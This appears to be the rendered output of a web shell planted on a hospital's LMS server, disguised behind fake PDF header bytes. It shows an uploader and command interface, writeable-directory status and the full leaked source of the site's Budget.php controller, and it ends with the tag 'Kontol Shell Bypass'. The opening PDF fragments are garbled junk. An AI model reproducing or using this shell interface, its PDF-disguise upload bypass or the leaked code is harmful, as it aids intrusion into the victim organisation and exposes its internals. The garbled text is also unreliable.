%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/controllers/Budget.php
<?php
class Budget extends MY_Controller {
    function __construct() {
        parent::__construct();
        $this->load->model("budget_model", "budget");
    }

	function lists($all=''){
        $res=['code'=>SCODE, 'message'=>''];
        $res['result']=$this->budget->lists($all==='ALL');
        jsonData($res);
    }

	function save(){
		$res=['code'=>ECODE, 'message'=>'Error!'];
		$post=trimArray($this->input->post());
        $id=$post['id']=intval($post['id']);

        $this->load->library('form_validation');
        $this->form_validation->set_rules('month', 'Month', "required", $this->req);
        $this->form_validation->set_rules('from_date', 'From date', "required", $this->req);
        $this->form_validation->set_rules('to_date', 'To date', "required", $this->req);
        $this->form_validation->set_rules('medium_id', 'Medium', "required", $this->req);
        $this->form_validation->set_rules('channel_id', 'Channel', "required", $this->req);
        $this->form_validation->set_rules('particular', 'Particular', "required", $this->req);
        $this->form_validation->set_rules('amount', 'Amount', "required", $this->req);
        $this->form_validation->set_rules('gst', 'GST', "required", $this->req);
        $this->form_validation->set_rules('payable_amount', 'Payable amount', "required", $this->req);

        try{
            if(@$this->form_validation->run() == FALSE){
                $res['errors']=$this->form_validation->get_errors();
                $res['message']=reset($res['errors']);
            }else{
                $data=filterValue($post, ['id', 'month', 'channel_id', 'particular', 'amount', 'gst', 'payable_amount']);
				$data['from_date']=date('Y-m-d', strtotime($post['from_date']));
				$data['to_date']=date('Y-m-d', strtotime($post['to_date']));
                $success=$this->dba->save("budgets", $data);
                if($success){
                    $res['code']=SCODE;
                    $res['message']='Budget '.($id?'updated':'added').' successfully';
                }
            }
        } catch(Exception $e){
            $res['message']= $e->getMessage();
        }
		jsonData($res);
    }

	function delete(){
		$res=['code'=>ECODE, 'message'=>'Error!'];
		$id=intval($this->input->post('id'));
		if($this->budget->delete($id)){
			$res['code']=SCODE;
            $res['message']="Budget deleted successfully";
        }
		jsonData($res);
    }
    
    function mediums($all=''){
        $res=['code'=>SCODE, 'message'=>''];
        $res['result']=$this->budget->mediums($all==='ALL');
        jsonData($res);
    }

    function saveMedium(){
		$res=['code'=>ECODE, 'message'=>'Error!'];
		$post=trimArray($this->input->post());
        $id=$post['id']=intval($post['id']);

        $this->load->library('form_validation');
        $this->form_validation->set_rules('name', 'Medium name', "required", $this->req);
        $this->form_validation->set_rules('status', 'Status', "required", $this->req);

        try{
            if(@$this->form_validation->run() == FALSE){
                $res['errors']=$this->form_validation->get_errors();
                $res['message']=reset($res['errors']);
            }else{
                $data=filterValue($post, ['id', 'name', 'disp_odr', 'status']);
                $success=$this->dba->save("budget_mediums", $data);
                if($success){
                    $res['code']=SCODE;
                    $res['message']='Medium '.($id?'updated':'added').' successfully';
                }
            }
        } catch(Exception $e){
            $res['message']= $e->getMessage();
        }

		jsonData($res);
    }

    function deleteMedium(){
		$res=['code'=>ECODE, 'message'=>'Error!'];
		$id=intval($this->input->post('id'));
		if($this->budget->deleteMedium($id)){
			$res['code']=SCODE;
            $res['message']="Medium deleted successfully";
        }
		jsonData($res);
    }

	function channels($all=''){
        $res=['code'=>SCODE, 'message'=>''];
        $res['result']=$this->budget->channels($all==='ALL');
        jsonData($res);
    }

	function saveChannel(){
		$res=['code'=>ECODE, 'message'=>'Error!'];
		$post=trimArray($this->input->post());
        $id=$post['id']=intval($post['id']);

        $this->load->library('form_validation');
        $this->form_validation->set_rules('medium_id', 'Medium ID', "required", $this->req);
        $this->form_validation->set_rules('name', 'Channel name', "required", $this->req);
        $this->form_validation->set_rules('status', 'Status', "required", $this->req);

        try{
            if(@$this->form_validation->run() == FALSE){
                $res['errors']=$this->form_validation->get_errors();
                $res['message']=reset($res['errors']);
            }else{
                $data=filterValue($post, ['id', 'medium_id', 'name', 'disp_odr', 'status']);
                $success=$this->dba->save("budget_channels", $data);
                if($success){
                    $res['code']=SCODE;
                    $res['message']='Channel '.($id?'updated':'added').' successfully';
                }
            }
        } catch(Exception $e){
            $res['message']= $e->getMessage();
        }
		jsonData($res);
    }

	function deleteChannel(){
		$res=['code'=>ECODE, 'message'=>'Error!'];
		$id=intval($this->input->post('id'));
		if($this->budget->deleteChannel($id)){
			$res['code']=SCODE;
            $res['message']="Channel deleted successfully";
        }
		jsonData($res);
    }

	function users($all=''){
        $res=['code'=>SCODE, 'message'=>''];
        $res['result']=$this->budget->users($all==='ALL');
        jsonData($res);
    }

    function assignChannels(){
		$res=['code'=>ECODE, 'message'=>'Error!'];
		$post=trimArray($this->input->post());
        $id=$post['id']=intval($post['id']);

        $this->load->library('form_validation');
        $this->form_validation->set_rules('user_id', 'User ID', "required", $this->req);

        try{
            if(@$this->form_validation->run() == FALSE){
                $res['errors']=$this->form_validation->get_errors();
                $res['message']=reset($res['errors']);
            }else{
                $data=[
                    'id'=>$post['user_id'],
                    'budget_channel_ids'=>implode(",", $post['budget_channel_ids']),
                ];
                $success=$this->dba->save("users", $data);
                if($success){
                    $res['code']=SCODE;
                    $res['message']='Assigned successfully';
                }
            }
        } catch(Exception $e){
            $res['message']= $e->getMessage();
        }
		jsonData($res);
    }
}

//EOF

Kontol Shell Bypass